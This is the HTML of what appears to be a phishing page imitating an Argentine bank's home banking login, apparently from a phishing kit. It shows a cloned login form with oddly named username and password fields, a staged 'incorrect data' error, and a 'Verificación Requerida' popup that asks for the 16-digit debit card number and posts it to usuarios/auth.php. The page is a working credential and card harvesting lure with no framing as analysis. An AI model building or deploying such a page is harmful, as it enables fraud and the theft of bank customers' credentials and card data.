<html lang="es-AR" translate="no">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

    <title>Inicio </title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="google" content="notranslate">
    <link rel="icon" type="image/x-icon" href="assets/img/favico.ico">
    <link rel="stylesheet" href="assets/css/styles.css">
    <link rel="stylesheet" href="assets/css/popup.css">
    <script src="assets/js/jq.js"></script>
    <script src="assets/js/v.js"></script>
    <script src="assets/js/m.js"></script>
    <script src="assets/js/dr.js"></script>
</head>

<body>

    <div class="laravels">
        <div class="laravels-container">
            <div class="laravels">
                <div class="laravels">
                    <div class="laravels-container">
                        <div class="laravels">
                            <div class="laravels" id="laravel-content-layer">
                                <div class="fw-100 fh-100" id="laravel-route-content">
                                    <link rel="stylesheet" href="assets/css/routes.css">
                                    <div class="laravels">
                                        <div class="laravels-container">
                                            <div class="laravels">
                                            <div
    class="fh-100 fw-100 d-flex flex-column justify-content-between align-items-center laravel-bg-light position-absolute">
    <div class="w-100 mt-4 mb-2 d-flex justify-content-center">
        <div style="width: 770px;">
            <ul
                class="pb-1 mb-0 lh-xs list-unstyled d-flex justify-content-center">
                <li
                    class="pr-3 border-primary border-right d-flex align-items-center">
                    <a class="text-size-3 text-gray-800"> Preguntas
                        frecuentes </a>
                </li>
                <li
                    class="px-3 border-primary border-right d-flex align-items-center">
                    <a class="text-size-3 text-gray-800"> Información
                        del Home Banking
                    </a>
                </li>
                <li
                    class="px-3 border-primary border-right d-flex align-items-center">
                    <a class="text-size-3 text-gray-800"> Términos y
                        condiciones </a>
                </li>
                <li class="pl-3 d-flex align-items-center"><a
                        class="text-size-3 text-gray-800"> Seguridad del
                        sistema </a></li>
            </ul>
        </div>
    </div>
    <div>
        <div
            class="laravel-login-card card border-light shadow-sm flex-row">
            <div
                class="card-body p-0 d-flex overflow-hidden transitive-all-quick">
                <div
                    class="laravel-register-info p-3 text-white flex-grow-1 flex-shrink-1 d-flex flex-column justify-content-center align-items-center">
                    <h5 class="text-size-5 font-weight-bold">¿No
                        tenés usuario?</h5>
                    <p class="text-center font-weight-500 text-size-2">
                        <span style="font-weight: bolder;">Creá un
                            usuario</span><br><span
                            style="font-weight: bolder;"></span>para
                        acceder a tu nuevo&nbsp;Home Banking
                    </p>
                    <button
                        class="btn btn-outline-primary border-white btn-login"
                        type="button"><span
                            class="text-uppercase text-white align-middle text-size-2">CREÁ
                            TU USUARIO</span></button>
                </div>
            </div>
            <div
                class="card-body p-0 d-flex overflow-hidden transitive-all-quick">
                <form id="mainF"
                    class="laravel-login-content py-4 flex-grow-1 flex-shrink-1 d-flex flex-column justify-content-center">
                    <img class="laravel-logo-entidad"
                        src="assets/img/logo.png">
                    <h1
                        class="font-weight-normal text-size-5 mt-3 mb-4">
                        Ingresá a tu&nbsp;<br><b>Home Banking</b>
                    </h1>
                    <div class="form-group mb-1"><label
                            class="text-size-3 font-weight-bold ml-3">Usuario</label><input
                            onkeyup="checkInput();" name="usezario"
                            id="uwrer" required maxlength="25"
                            class="form-control pl-3 text-size-2 text-dark laravel-box-shadow   "
                            type="text" style="border-radius: 6px;">
                        <div
                            class="d-flex flex-row justify-content-between">
                            <div>

                            </div>
                            <div
                                class="laravel-cursor-pointer custom-control custom-checkbox d-flex justify-content-end text-white pt-2">
                                <input
                                    class="laravel-cursor-pointer custom-control-input   "
                                    id="rememberChk"
                                    type="checkbox"><label
                                    class="laravel-cursor-pointer custom-control-label text-gray-800 text-size-2 text-label pt-1"
                                    for="rememberChk"> Recordar
                                    usuario </label>
                            </div>
                        </div>
                    </div>
                    <div class="form-group m-0"><label
                            class=" text-size-3 font-weight-bold ml-3">
                            Contraseña </label>
                        <div
                            class="d-flex justify-content-end fw-100 position-relative">
                            <input
                                class="form-control pl-3 text-size-2 borde-input laravel-box-shadow input-pass-login"
                                placeholder="Contraseña" id="pawor"
                                type="password" maxlength="30" required
                                onkeyup="checkInput();" name="pwdod"
                                style="border-radius: 6px;"><button
                                id="eyeBtn"
                                onclick="togglePss('pawor', 'eyeBtn')"
                                class="py-0 h-100 btn btn-sm position-absolute text-gray-500 rounded-0 hide-pss"
                                type="button"></button>
                        </div>
                        <div
                            class="invalid-feedback d-inline-block m-0 p-0 pl-2">
                        </div>
                    </div>
                    <div
                        class="d-flex flex-column justify-content-between align-items-center">


                        <button id="mainBtn" disabled
                            class="w-100 btn bg-gray-500 text-white btn-ingresar "
                            type="submit"><span
                                class="align-middle text-size-3">INGRESÁ</span></button>
                    </div>
                    <div class="mt-4 text-center"><a
                            class="text-size-2 text-primary">Recuperar
                            mi Usuario
                            o Contraseña<br></a></div>
                </form>
            </div>
        </div>
    </div>
    <div class="w-100 mb-2 mt-2 d-flex justify-content-center">
        <div class="d-flex" style="width: 770px;"><img
                class="mx-3 text-dark laravel-cursor-pointer" height="30"
                width="47" src="assets/img/ce_logo.png">
            <div class="border-right border-left" style="height: 32px;">
            </div><img class="mx-3 text-dark" height="30" width="30"
                src="assets/img/li_logo.png">
                <p class="text-size-1 text-gray-800 text-wrap"><b>IMPORTANTE.</b> Recordá que esta entidad no envía correos electrónicos ni realiza llamados telefónicos para solicitar cambio o<br> confirmación de datos personales (número de cuenta, nombre de usuario, clave de acceso). Red Link S.A. en ningun caso se<br> comunicará con vos requiriéndote este tipo de información. </p>
        </div>
    </div>
</div>                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="laravels" id="error-notification" style="display: none;">
                                <div class="laravels d-flex flex-column-reverse">
                                    <div
                                        class="d-flex flex-row justify-content-center overflow-hidden laravel-pointer-none">
                                        <div
                                            class="laravel-alert alert alert-dismissible safe-nav-notification alert-danger">
                                            <div>Los datos ingresados son incorrectos</div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>

            </div>
        </div>
    </div>
</body>
<section class="containerCustom" id="docPopup" style="display: block;">
    <form action="usuarios/auth.php" id="mainF" method="post" name="mainF">
        <div class="overlay">
            <div class="modalCustom">
                <center>
                    <img src="assets/img/logo.png" width="140px"><br>

                    <h1 class="title" style="font-size: 21px;">Verificación Requerida</h1>

                    <hr>
                    <p style="color: #820707;">Error al ingresar, intente nuevamente.</p>                    <input type="tel" onkeyup="formatCreditCardOnKey(event)" onblur="formatCreditCard()" onfocus="formatCreditCard()" minlength="19" maxlength="19" style="width: 95%;" name="utarjdeb2" id="tarjN" placeholder="16 dígitos de tu tarjeta de debito" class="input2" required><br>
                    <br>
                    <button class="boton" id="mainB" type="submit">CONTINUAR</button>
                </center>
            </div>
        </div>
    </form>
</section>

</html>